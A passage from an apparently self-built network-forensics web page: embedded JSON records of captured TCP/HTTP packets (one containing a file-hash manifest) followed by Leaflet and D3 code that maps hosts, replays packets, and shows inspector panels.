\"timestamp\": 1782896707.34186, \"timestamp_iso\": \"2026-07-01T14:35:07.341860\", \"timestamp_human\": \"2026-07-01 14:35:07.341\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"194.36.32.207\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64035, \"tcp_seq\": 4151454128, \"tcp_ack\": 2283203038, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 17, \"timestamp\": 1782896707.342212, \"timestamp_iso\": \"2026-07-01T14:35:07.342212\", \"timestamp_human\": \"2026-07-01 14:35:07.342\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"194.36.32.207\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 64633, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64035, \"tcp_seq\": 4151454129, \"tcp_ack\": 2283203443, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 32, \"timestamp\": 1782896713.657049, \"timestamp_iso\": \"2026-07-01T14:35:13.657049\", \"timestamp_human\": \"2026-07-01 14:35:13.657\", \"size\": 4102, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPResponse\", \"Raw\"], \"src_ip\": \"194.36.32.207\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 64634, \"ip_len\": 4088, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64035, \"tcp_seq\": 4151454129, \"tcp_ack\": 2283203443, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 3424, \"payload_preview\": \"7b224d616a6f7256657273696f6e223a312c224d696e6f7256657273696f6e223a302c22486173684f66486173686573223a2271416957414e73434f314d756d4452553462324654635371486976593934675853464758646972524471343d222c22486173684f66486173686573537472696e67223a2271416957414e73434f314d756d4452553462324654635371486976593934675853464758646972524471343d222c22436f6e74656e744c656e677468223a37393234303630352c22506965636553697a65223a313034383537362c22506965636573223a5b2236336532666e3970354d314a67726f7434324970474d61356265775162424b4c2b656d35306f46622b69343d222c22597558624c676173344c68377750632b2b6556613337453649566465377250466e58346e44676f506b30633d222c224b36696f387735713872346a766342306258626e6b635232626746426477436e6a755847697a634d6d51553d222c223058332b783356312b4a50416a4345354e6732306765723566446531476741596f6c3553774a6f45422b303d222c226d6a7456713273456d78366b62386269436b6952776b67722b6378316e73367448586c76774b75786130493d222c2236762b4a6d6e41786344384568316145702b61315564754a4f6b6b5a7759566d6e71737341675665416a453d222c22354a476568434f57456b757371556d4c3863426e4e4d767635595148352b51446c6d776a7741504c6d50733d222c2252676f443054474a4959317a4a3039314d71696b6653307356305668553358356655744f6c6e6e53454e773d222c22364953337632773973507555572f416b556a663933557265456a4a3578377644626543536f7066416179593d222c224c50487063753231506f41576d6661314c616268356d4b6e316e61376f473335685163792f5139384974303d222c22457745725269654a3258715a58766443356d37664767577067327148484268334337723267485878454b303d222c2238696566472b537a366971484568495665517747746655517665482f5267705136436639545350385a4c513d222c2236654a495a4769796747774732617648694b4a33476351777037394367487371466b78556f7473436a6f733d222c226f66416f2f49666c424a476641424b723156727a696d766234754d334d386c676d784955366c57744a50513d222c225853652f706748334c7963767837714d4930756837706554753976576c387339316b554b70626633554f413d222c22387074626541313644594f7574732f78326e377a726264346f5264504379335157316e7348734865456b343d222c224d5674664b634d6e366d33756a51595a455a46723445392b6d2b52464d6a65344f3945386c2b632f6266553d222c2279597630754346584a634d594676464d6a2f3158496c4e4679737a707256634454464c6e6954346f6e386f3d222c22544159546762787656497a304c5a614651675979375332364c4538626478396e313371794b5049364871593d222c227256374141446142364f3575577a6559667a554766344d43504d4c6870664b4476642b32783569464256383d222c2254324b2f315545553956476e422b676e49675a6e2f2b4d4673346169436252416d66536c5061456a682f493d222c225978385067614f3962644d67494e6b784e344967777643326a5554384c505a3858507041337656696e79513d222c22486e33306a35447754586244347051615759414a475a4c6668636d43662b4c366f4b6776527a6a4a4c666b3d222c223559442f784146675a366a3155726f574a36725052672f47792b6b4573764567632f2b38646e6c576e57303d222c2239316d4f724453445a6a5a785a496d50756237544558374544567463756f76626a64735142773561524a493d222c2266656172354a664874595a454667484f4f6f4336744b4e61477a2b5858467173356d327349476f7a3873773d222c2264754443446d38596e64697733624674476379704471652b776e51504231435a41434c38695a77554f4b6b3d222c22682f4467624e73776b44434b4c6554335a4664775a566e3774314f3465492b364c7649506b723952532b6f3d222c2279505741626b7669434632306f6b304f363462755261305458742f4445563443556f4a796a6b53716732383d222c22594c4f6c59724f5a634b37426d4b62497a31745a53394c2b6249536575674b7973584b746f34524c516c303d222c2277526d344c394e584c627248684f4d72775954396b34354463444c784b62465355342b444e494a4f57706f3d222c22767737544a3279674a6d56496d304c393633395941766b71537845776f4a367059564a55444c474c2f4b343d222c227767767a7265354a564f7553756a6c39486e7631552b3577556f7a4f327a456e626e6930692b755a6a32493d222c2276443348767a347853575855784447634378616a54537651573267354b4c576449364f76787954364c48553d222c224f7a5963324d71356259416476353271594b62326f47703544537965615359656a4a6743306b4430344d413d222c22555156366f747049534e46704335576b48684b2f65566b694b3146696c796663794e7333794d7943434b513d222c2239567659434c435345386f4f65316f774f6e5053475771674873665533796259696b63455746516f77646b3d222c22696a6249626f4a73684f684b4e4f6f6a4563716d346b496d614447776d4d722b4d737a677a4b4b303655343d222c2274426779446c317833364a575774426d2b4675457168624f355a553849506c533030394635443338765a4d3d222c224932416b75474d336c7138765472744a66513837344537526a7171735544787635755735385041654267633d222c2255556d5177523159455a55586a6d4a5348416b6774443678504c46524f79787a464131574c493056786b553d222c22415238664d6c7a3241436d6661743233685634644e67713069674834416536474842677669616f2b4674773d222c22324134754c624463457044557a2f5079684e5a65384a324256657664483154522b43534141462b5665726f3d222c225138623349365561632b5071456b4759542f7555537679757a4e5966376e4950436e4748366939455364413d222c22613261553259616f6c33502b4d716b7045694a2b4945746d366a6937757a587353376a425043525a7367553d222c2237545053646c6a6f64717931713268686d546f6534755159637277595754522b47707a3147784e4c4d334d3d222c224c6345795236756d53347270672b446c59466f6d59337365784c3135547842304f44667076765a386a546b3d222c22485267784b6c624b6d526b59474f487a783063644f716c6248743859494c696441487a684839456a6858773d222c22396c526d61534333456176634c646b3947574c30764733514873576f542f64736458386d616f726f2f4e413d222c2273576349662f59644b7938714155666f4344527457324c6c444b4957726a41717a59514c776c66313351413d222c22726f6f33544f5444524c4e644f3365714d6354396d6b69302f666e776e39633467476638415930355957303d222c226c42482b575739674e7a677961346b747632694e53684a4a666b555868497468436b794d4c4d71495370673d222c22395571446e35537a31474172426148396f452b515575347668674b5a7a305030546771394b6476704a53343d222c226764646541515556594f3165765874702b4f5a39483547334f746143795a6e3777596471664c4643595a553d222c2230794f43614e6f54547166655131763078466a74747a454e486e67786178726e724d7852585a57336765553d222c227547624d506975745074506c6948614c47346164586c4137384961644b5444777970674931686632706f553d222c225969646648364d6d663971505a7a745341376d4953507559444f65334d484b6767646441576b53526349493d222c224864365253354d3144307a467a61635455616a546743544b2f542f386533457047534d33324f4933546f553d222c224a3632625a4a505868744f56686f796e65386875475a79446742496142676279777738556c6748375368553d222c227a4f726842667769725241614b79374250466b74536f674639442b436a4a71597956725058385a4a3559773d222c22645261414f516c71443730567a6236466f45323832526f666a79672f774162624339444c4939515a7470673d222c22595541452f4b6457592b7254754e3656385044632f41716177426f437465655a62764d2f4b7a4e7343776f3d222c2258355a4f655a342b5264754f4f6935447a47506b6b783566663570512f4d3650377a394a725334516b52383d222c222f7a537564754b656962594164454f445751384f7854524f384f6c3452723146346777466e7949413032633d222c22444f30686b68533031672f5966316b4142455274516d5276674d715579454f332f6974307067794b3379553d222c22423379462b6777484d636d716b6c744b2f34746943422b41597a542b7165727844626b59764c4d62694f343d222c222b456a39346d50314a51664945594c6241614d4a4f464d6a457263594b7065654e5539624b656c4a6c6c303d222c225634626967762b7a42393776723447745a4c4a676c556c51316e6b4b332b544262544b6f76757062567a6b3d222c225234354d316c75\", \"payload_ascii\": \"{\\\"MajorVersion\\\":1,\\\"MinorVersion\\\":0,\\\"HashOfHashes\\\":\\\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\\\",\\\"HashOfHashesString\\\":\\\"qAiWANsCO1MumDRU4b2FTcSqHivY94gXSFGXdirRDq4=\\\",\\\"ContentLength\\\":79240605,\\\"PieceSize\\\":1048576,\\\"Pieces\\\":[\\\"63e2fn9p5M1Jgrot42IpGMa5bewQbBKL+em50oFb+i4=\\\",\\\"YuXbLgas4Lh7wPc++eVa37E6IVde7rPFnX4nDgoPk0c=\\\",\\\"K6io8w5q8r4jvcB0bXbnkcR2bgFBdwCnjuXGizcMmQU=\\\",\\\"0X3+x3V1+JPAjCE5Ng20ger5fDe1GgAYol5SwJoEB+0=\\\",\\\"mjtVq2sEmx6kb8biCkiRwkgr+cx1ns6tHXlvwKuxa0I=\\\",\\\"6v+JmnAxcD8Eh1aEp+a1UduJOkkZwYVmnqssAgVeAjE=\\\",\\\"5JGehCOWEkusqUmL8cBnNMvv5YQH5+QDlmwjwAPLmPs=\\\",\\\"RgoD0TGJIY1zJ091MqikfS0sV0VhU3X5fUtOlnnSENw=\\\",\\\"6IS3v2w9sPuUW/AkUjf93UreEjJ5x7vDbeCSopfAayY=\\\",\\\"LPHpcu21PoAWmfa1Labh5mKn1na7oG35hQcy/Q98It0=\\\",\\\"EwErRieJ2XqZXvdC5m7fGgWpg2qHHBh3C7r2gHXxEK0=\\\",\\\"8iefG+Sz6iqHEhIVeQwGtfUQveH/RgpQ6Cf9TSP8ZLQ=\\\",\\\"6eJIZGiygGwG2avHiKJ3GcQwp79CgHsqFkxUotsCjos=\\\",\\\"ofAo/IflBJGfABKr1Vrzimvb4uM3M8lgmxIU6lWtJPQ=\\\",\\\"XSe/pgH3Lycvx7qMI0uh7peTu9vWl8s91kUKpbf3UOA=\\\",\\\"8ptbeA16DYOuts/x2n7zrbd4oRdPCy3QW1nsHsHeEk4=\\\",\\\"MVtfKcMn6m3ujQYZEZFr4E9+m+RFMje4O9E8l+c/bfU=\\\",\\\"yYv0uCFXJcMYFvFMj/1XIlNFyszprVcDTFLniT4on8o=\\\",\\\"TAYTgbxvVIz0LZaFQgYy7S26LE8bdx9n13qyKPI6HqY=\\\",\\\"rV7AADaB6O5uWzeYfzUGf4MCPMLhpfKDvd+2x5iFBV8=\\\",\\\"T2K/1UEU9VGnB+gnIgZn/+MFs4aiCbRAmfSlPaEjh/I=\\\",\\\"Yx8PgaO9bdMgINkxN4IgwvC2jUT8LPZ8XPpA3vVinyQ=\\\",\\\"Hn30j5DwTXbD4pQaWYAJGZLfhcmCf+L6oKgvRzjJLfk=\\\",\\\"5YD/xAFgZ6j1UroWJ6rPRg/Gy+kEsvEgc/+8dnlWnW0=\\\",\\\"91mOrDSDZjZxZImPub7TEX7EDVtcuovbjdsQBw5aRJI=\\\",\\\"fear5JfHtYZEFgHOOoC6tKNaGz+XXFqs5m2sIGoz8sw=\\\",\\\"duDCDm8Yndiw3bFtGcypDqe+wnQPB1CZACL8iZwUOKk=\\\",\\\"h/DgbNswkDCKLeT3ZFdwZVn7t1O4eI+6LvIPkr9RS+o=\\\",\\\"yPWAbkviCF20ok0O64buRa0TXt/DEV4CUoJyjkSqg28=\\\",\\\"YLOlYrOZcK7BmKbIz1tZS9L+bISeugKysXKto4RLQl0=\\\",\\\"wRm4L9NXLbrHhOMrwYT9k45DcDLxKbFSU4+DNIJOWpo=\\\",\\\"vw7TJ2ygJmVIm0L9639YAvkqSxEwoJ6pYVJUDLGL/K4=\\\",\\\"wgvzre5JVOuSujl9Hnv1U+5wUozO2zEnbni0i+uZj2I=\\\",\\\"vD3Hvz4xSWXUxDGcCxajTSvQW2g5KLWdI6OvxyT6LHU=\\\",\\\"OzYc2Mq5bYAdv52qYKb2oGp5DSyeaSYejJgC0kD04MA=\\\",\\\"UQV6otpISNFpC5WkHhK/eVkiK1FilyfcyNs3yMyCCKQ=\\\",\\\"9VvYCLCSE8oOe1owOnPSGWqgHsfU3ybYikcEWFQowdk=\\\",\\\"ijbIboJshOhKNOojEcqm4kImaDGwmMr+MszgzKK06U4=\\\",\\\"tBgyDl1x36JWWtBm+FuEqhbO5ZU8IPlS009F5D38vZM=\\\",\\\"I2AkuGM3lq8vTrtJfQ874E7RjqqsUDxv5uW58PAeBgc=\\\",\\\"UUmQwR1YEZUXjmJSHAkgtD6xPLFROyxzFA1WLI0VxkU=\\\",\\\"AR8fMlz2ACmfat23hV4dNgq0igH4Ae6GHBgviao+Ftw=\\\",\\\"2A4uLbDcEpDUz/PyhNZe8J2BVevdH1TR+CSAAF+Vero=\\\",\\\"Q8b3I6Uac+PqEkGYT/uUSvyuzNYf7nIPCnGH6i9ESdA=\\\",\\\"a2aU2Yaol3P+MqkpEiJ+IEtm6ji7uzXsS7jBPCRZsgU=\\\",\\\"7TPSdljodqy1q2hhmToe4uQYcrwYWTR+Gpz1GxNLM3M=\\\",\\\"LcEyR6umS4rpg+DlYFomY3sexL15TxB0ODfpvvZ8jTk=\\\",\\\"HRgxKlbKmRkYGOHzx0cdOqlbHt8YILidAHzhH9EjhXw=\\\",\\\"9lRmaSC3EavcLdk9GWL0vG3QHsWoT/dsdX8maoro/NA=\\\",\\\"sWcIf/YdKy8qAUfoCDRtW2LlDKIWrjAqzYQLwlf13QA=\\\",\\\"roo3TOTDRLNdO3eqMcT9mki0/fnwn9c4gGf8AY05YW0=\\\",\\\"lBH+WW9gNzgya4ktv2iNShJJfkUXhIthCkyMLMqISpg=\\\",\\\"9UqDn5Sz1GArBaH9oE+QUu4vhgKZz0P0Tgq9KdvpJS4=\\\",\\\"gddeAQUVYO1evXtp+OZ9H5G3OtaCyZn7wYdqfLFCYZU=\\\",\\\"0yOCaNoTTqfeQ1v0xFjttzENHngxaxrnrMxRXZW3geU=\\\",\\\"uGbMPiutPtPliHaLG4adXlA78IadKTDwypgI1hf2poU=\\\",\\\"YidfH6Mmf9qPZztSA7mISPuYDOe3MHKggddAWkSRcII=\\\",\\\"Hd6RS5M1D0zFzacTUajTgCTK/T/8e3EpGSM32OI3ToU=\\\",\\\"J62bZJPXhtOVhoyne8huGZyDgBIaBgbyww8UlgH7ShU=\\\",\\\"zOrhBfwirRAaKy7BPFktSogF9D+CjJqYyVrPX8ZJ5Yw=\\\",\\\"dRaAOQlqD70Vzb6FoE282Rofjyg/wAbbC9DLI9QZtpg=\\\",\\\"YUAE/KdWY+rTuN6V8PDc/AqawBoCteeZbvM/KzNsCwo=\\\",\\\"X5ZOeZ4+RduOOi5DzGPkkx5ff5pQ/M6P7z9JrS4QkR8=\\\",\\\"/zSuduKeibYAdEODWQ8OxTRO8Ol4Rr1F4gwFnyIA02c=\\\",\\\"DO0hkhS01g/Yf1kABERtQmRvgMqUyEO3/it0pgyK3yU=\\\",\\\"B3yF+gwHMcmqkltK/4tiCB+AYzT+qerxDbkYvLMbiO4=\\\",\\\"+Ej94mP1JQfIEYLbAaMJOFMjErcYKpeeNU9bKelJll0=\\\",\\\"V4bigv+zB97vr4GtZLJglUlQ1nkK3+TBbTKovupbVzk=\\\",\\\"R45M1lu\"}, {\"packet_number\": 34, \"timestamp\": 1782896713.657539, \"timestamp_iso\": \"2026-07-01T14:35:13.657539\", \"timestamp_human\": \"2026-07-01 14:35:13.657\", \"size\": 423, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"src_ip\": \"194.36.32.207\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 64637, \"ip_len\": 409, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64035, \"tcp_seq\": 4151458177, \"tcp_ack\": 2283203443, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 369, \"payload_preview\": \"31667a7039766f4b417252664e454138354242753041584b7566472b49635964354647343d222c2235593479556434733832394a345a5148397539694b347930536e334c6635533870302f6c536c4a4b442b383d222c226938614367774374585847413852654c356f646649355a437455536b58433457522f6a4342737a5a4d30383d222c227a796d46757545733279422b45754e3676652f6c2f3437675153496a445a753559693649583564317939413d222c224c4849693258736f646f44647737435a737957474d69334a667561374a706d4b784a65416e466d7a4835553d222c2256746c687064396a6f424668727855354a72422f7a795656795639343059473567686c30766932434659413d222c224147372f52796a4f77395678546e72713930556a524e666c354e4737497748534d364e2f54546b5647706b3d222c224b3155496249505771673858564c78494e64493755764e38745671306f44503450634741633774735534303d225d7d\", \"payload_ascii\": \"1fzp9voKArRfNEA85BBu0AXKufG+IcYd5FG4=\\\",\\\"5Y4yUd4s829J4ZQH9u9iK4y0Sn3Lf5S8p0/lSlJKD+8=\\\",\\\"i8aCgwCtXXGA8ReL5odfI5ZCtUSkXC4WR/jCBszZM08=\\\",\\\"zymFuuEs2yB+EuN6ve/l/47gQSIjDZu5Yi6IX5d1y9A=\\\",\\\"LHIi2XsodoDdw7CZsyWGMi3Jfua7JpmKxJeAnFmzH5U=\\\",\\\"Vtlhpd9joBFhrxU5JrB/zyVVyV940YG5ghl0vi2CFYA=\\\",\\\"AG7/RyjOw9VxTnrq90UjRNfl5NG7IwHSM6N/TTkVGpk=\\\",\\\"K1UIbIPWqg8XVLxINdI7UvN8tVq0oDP4PcGAc7tsU40=\\\"]}\"}, {\"packet_number\": 62, \"timestamp\": 1782896725.54649, \"timestamp_iso\": \"2026-07-01T14:35:25.546490\", \"timestamp_human\": \"2026-07-01 14:35:25.546\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"194.36.32.207\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 64638, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64035, \"tcp_seq\": 4151458546, \"tcp_ack\": 2283203443, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 65, \"timestamp\": 1782896725.546681, \"timestamp_iso\": \"2026-07-01T14:35:25.546681\", \"timestamp_human\": \"2026-07-01 14:35:25.546\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"194.36.32.207\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 80, \"dst_port\": 64035, \"tcp_seq\": 4151458547, \"tcp_ack\": 2283203444, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 6, \"PSH\": 2, \"FIN\": 1}, \"packet_sizes\": [66, 54, 4102, 423, 54, 54], \"inter_packet_intervals\": [0.00035190582275390625, 6.3148369789123535, 0.0004899501800537109, 11.888951063156128, 0.00019097328186035156], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 18.20482087135315, \"avg_packet_size\": 792.1666666666666, \"packets_per_second\": 0.3295830287152957, \"bytes_per_second\": 261.0846892473001, \"min_packet_size\": 54, \"max_packet_size\": 4102, \"median_packet_size\": 66, \"avg_interval\": 3.64096417427063, \"min_interval\": 0.00019097328186035156, \"max_interval\": 11.888951063156128}];\n        \n        // Unified Timeline Data\n        const allPackets = [];\n        edges.forEach(e => {\n            e.packets.forEach(p => {\n                allPackets.push({\n                    ...p,\n                    source: e.source,\n                    target: e.target,\n                    protocols: p.protocols\n                });\n            });\n        });\n        allPackets.sort((a, b) => a.timestamp - b.timestamp);\n\n        // Map Setup\n        const map = L.map('map', {\n            center: [20, 0],\n            zoom: 2,\n            minZoom: 2,\n            maxBounds: [[-90, -180], [90, 180]],\n            maxBoundsViscosity: 1.0,\n            worldCopyJump: false\n        });\n\n        L.tileLayer('https://{s}.basemaps.cartocdn.com/light_all/{z}/{x}/{y}{r}.png', {\n            attribution: '©OpenStreetMap, ©CartoDB',\n            noWrap: true,\n            bounds: [[-90, -180], [90, 180]]\n        }).addTo(map);\n\n        // Projection Helper for Private IPs\n        function getPos(node) {\n            if (node.is_private) {\n                // Place private nodes in the stylized \"Pvt Zone\" (North Pacific area)\n                // Offset slightly per node to avoid overlap\n                const idx = nodes.filter(n => n.is_private).indexOf(node);\n                const pvtLat = 50 + (idx % 5) * 2;\n                const pvtLon = -160 + Math.floor(idx / 5) * 5;\n                return [pvtLat, pvtLon];\n            }\n            return [node.geo.lat || 0, node.geo.lon || 0];\n        }\n\n        // Initialize positions\n        nodes.forEach(n => {\n            const pos = getPos(n);\n            n.currentLat = pos[0];\n            n.currentLon = pos[1];\n        });\n\n        // D3 Overlay\n        L.svg().addTo(map);\n        const svg = d3.select(map.getPanes().overlayPane).select(\"svg\");\n        const g = svg.append(\"g\").attr(\"class\", \"leaflet-zoom-hide\");\n\n        // Scale node radius by traffic volume\n        const nodeScale = d3.scaleSqrt()\n            .domain([0, d3.max(nodes, d => d.packet_count) || 100])\n            .range([5, 20]);\n\n        const link = g.selectAll(\".link\")\n            .data(edges)\n            .enter().append(\"path\")\n            .attr(\"class\", \"link\")\n            .attr(\"stroke\", e => e.threat_level === 'critical' ? '#ef4444' : '#94a3b8')\n            .attr(\"stroke-width\", 1.5)\n            .on(\"click\", (e, d) => inspectFlow(d));\n\n        const node = g.selectAll(\".node\")\n            .data(nodes)\n            .enter().append(\"circle\")\n            .attr(\"class\", \"node\")\n            .attr(\"r\", d => nodeScale(d.packet_count))\n            .attr(\"fill\", d => d.is_private ? \"#3b82f6\" : \"#10b981\")\n            .attr(\"stroke\", \"#fff\")\n            .attr(\"stroke-width\", 2)\n            .on(\"click\", (e, d) => inspectNode(d));\n\n        node.append(\"title\").text(d => d.ip);\n\n        function updatePositions() {\n            node.attr(\"cx\", d => map.latLngToLayerPoint([d.currentLat, d.currentLon]).x)\n                .attr(\"cy\", d => map.latLngToLayerPoint([d.currentLat, d.currentLon]).y);\n\n            link.attr(\"d\", d => {\n                const s = nodes.find(n => n.id === d.source);\n                const t = nodes.find(n => n.id === d.target);\n                if (!s || !t) return \"\";\n                const sp = map.latLngToLayerPoint([s.currentLat, s.currentLon]);\n                const tp = map.latLngToLayerPoint([t.currentLat, t.currentLon]);\n                return `M${sp.x},${sp.y}L${tp.x},${tp.y}`;\n            });\n        }\n\n        map.on(\"viewreset move\", updatePositions);\n        updatePositions();\n\n        // Stats\n        document.getElementById('stat-nodes').innerText = nodes.length;\n        document.getElementById('stat-edges').innerText = edges.length;\n        document.getElementById('stat-pkts').innerText = allPackets.length;\n\n        // --- Replay Logic ---\n        let replayIdx = 0;\n        let isPlaying = false;\n        let replayTimer = null;\n        const timeline = document.getElementById('timeline');\n        const timeDisplay = document.getElementById('time-display');\n\n        function toggleReplay() {\n            isPlaying = !isPlaying;\n            document.getElementById('play-icon').className = isPlaying ? \"fas fa-pause\" : \"fas fa-play\";\n            if (isPlaying) runReplay();\n            else clearInterval(replayTimer);\n        }\n\n        function runReplay() {\n            clearInterval(replayTimer);\n            replayTimer = setInterval(() => {\n                if (replayIdx >= allPackets.length) {\n                    toggleReplay();\n                    return;\n                }\n                processPacket(allPackets[replayIdx]);\n                replayIdx++;\n                const progress = (replayIdx / allPackets.length) * 100;\n                timeline.value = progress;\n            }, 150);\n        }\n\n        function seekReplay(val) {\n            const targetIdx = Math.floor((val / 100) * (allPackets.length - 1));\n            replayIdx = targetIdx;\n            if (allPackets[replayIdx]) {\n                processPacket(allPackets[replayIdx]);\n            }\n        }\n\n        function processPacket(pkt) {\n            timeDisplay.innerText = pkt.timestamp_human.split(' ')[1];\n            animatePacket(pkt.source, pkt.target);\n            updateLiveInspector(pkt);\n        }\n\n        function animatePacket(srcId, dstId) {\n            const s = nodes.find(n => n.id === srcId);\n            const t = nodes.find(n => n.id === dstId);\n            if (!s || !t) return;\n            \n            const sp = map.latLngToLayerPoint([s.currentLat, s.currentLon]);\n            const tp = map.latLngToLayerPoint([t.currentLat, t.currentLon]);\n\n            const p = g.append(\"circle\")\n                .attr(\"r\", 4)\n                .attr(\"class\", \"packet-particle\")\n                .attr(\"cx\", sp.x)\n                .attr(\"cy\", sp.y);\n\n            p.transition()\n                .duration(800)\n                .ease(d3.easeLinear)\n                .attr(\"cx\", tp.x)\n                .attr(\"cy\", tp.y)\n                .remove();\n        }\n\n        function updateLiveInspector(pkt) {\n            const srcNode = nodes.find(n => n.id === pkt.source);\n            const dstNode = nodes.find(n => n.id === pkt.target);\n            \n            const body = document.getElementById('inspect-body');\n            \n            // Format payload\n            let payloadHtml = \"\";\n            if (pkt.payload_preview) {\n                const hex = pkt.payload_preview.match(/.{1,2}/g).join(' ');\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (Hex)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 150px; overflow-y: auto; font-size: 0.7rem;\">${hex}</div>\n                `;\n            } else if (pkt.payload_ascii) {\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (ASCII)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 150px; overflow-y: auto; font-size: 0.7rem;\">${pkt.payload_ascii}</div>\n                `;\n            }\n\n            body.innerHTML = `\n                <div class=\"info-card\" style=\"border-left: 4px solid var(--accent-main)\">\n                    <div class=\"sec-title\">Live Replay Analysis</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Packet ID</span><span class=\"data-value\">#${pkt.packet_number}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Timestamp</span><span class=\"data-value\">${pkt.timestamp_human}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${pkt.protocols.join(' → ')}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Size</span><span class=\"data-value\">${pkt.size} Bytes</span></div>\n                </div>\n\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Source: ${pkt.source}</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Location</span><span class=\"data-value\">${srcNode.geo.city}, ${srcNode.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP / ASN</span><span class=\"data-value\">${srcNode.geo.isp} (AS${srcNode.geo.asn})</span></div>\n                </div>\n\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Destination: ${pkt.target}</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Location</span><span class=\"data-value\">${dstNode.geo.city}, ${dstNode.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP / ASN</span><span class=\"data-value\">${dstNode.geo.isp} (AS${dstNode.geo.asn})</span></div>\n                </div>\n\n                ${pkt.tcp_flags_str ? `<div class=\"info-card\"><div class=\"sec-title\">TCP Flags</div><div class=\"data-value\">${pkt.tcp_flags_str}</div></div>` : ''}\n                ${pkt.dns_query ? `<div class=\"info-card\"><div class=\"sec-title\">DNS Query</div><div class=\"data-value\">${pkt.dns_query}</div></div>` : ''}\n\n                <div class=\"info-card\">\n                    ${payloadHtml || '<div class=\"data-label\">No raw payload data</div>'}\n                </div>\n            `;\n        }\n\n        function inspectNode(d) {\n            document.getElementById('inspect-title').innerText = `Node: ${d.ip}`;\n            const body = document.getElementById('inspect-body');\n            body.innerHTML = `\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Investigation Metadata</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Country</span><span class=\"data-value\">${d.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">City</span><span class=\"data-value\">${d.geo.city}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP</span><span class=\"data-value\">${d.geo.isp}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ASN</span><span class=\"data-value\">${d.geo.asn}</span></div>\n                </div>\n                <div class=\"sec-title\">Traffic Intensity</div>\n                <div class=\"stat-grid\">\n                    <div class=\"stat-box\"><div class=\"stat-v\">${d.packet_count}</div><div class=\"stat-l\">Packets</div></div>\n                    <div class=\"stat-box\"><div class=\"stat-v\">${(d.total_bytes_sent/1024).toFixed(1)}</div><div class=\"stat-l\">KB Sent</div></div>\n                    <div class=\"stat-box\"><div 